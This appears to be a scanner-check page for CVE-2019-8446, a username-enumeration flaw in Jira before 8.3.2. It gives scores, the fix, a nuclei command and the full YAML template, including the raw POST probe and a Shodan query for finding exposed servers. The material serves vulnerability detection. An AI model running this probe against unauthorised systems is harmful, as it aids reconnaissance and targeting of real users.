Jira Improper Authorization

mediumseverity

5.3CVSS score

17.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.

Impact

This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Jira application.

Fix

Apply the latest security patches and updates provided by Atlassian to fix the vulnerability.

How to confirm it

Send: POST /rest/issueNav/1/issueTable
Positive when: contains "the user does not exist" AND status 200

Run it with nuclei: nuclei -id CVE-2019-8446 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-8446

info:
  name: Jira Improper Authorization
  author: dhiyaneshDk
  severity: medium
  description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Jira application.
  remediation: |
    Apply the latest security patches and updates provided by Atlassian to fix the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69777
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/CyberTrashPanda/CVE-2019-8446
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-8446
    cwe-id: CWE-863
    epss-score: 0.1755
    epss-percentile: 0.97162
    cpe: cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_server
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2019,jira,atlassian,vkev,vuln

http:
  - raw:
      - |
        POST /rest/issueNav/1/issueTable HTTP/1.1
        Host: {{Hostname}}
        Connection: Close
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
        X-Atlassian-Token: no-check
        Accept-Encoding: gzip, deflate
        Accept-Language: en-US,en;q=0.9

        {'jql':'project in projectsLeadByUser("{{randstr}}")'}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "the user does not exist"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from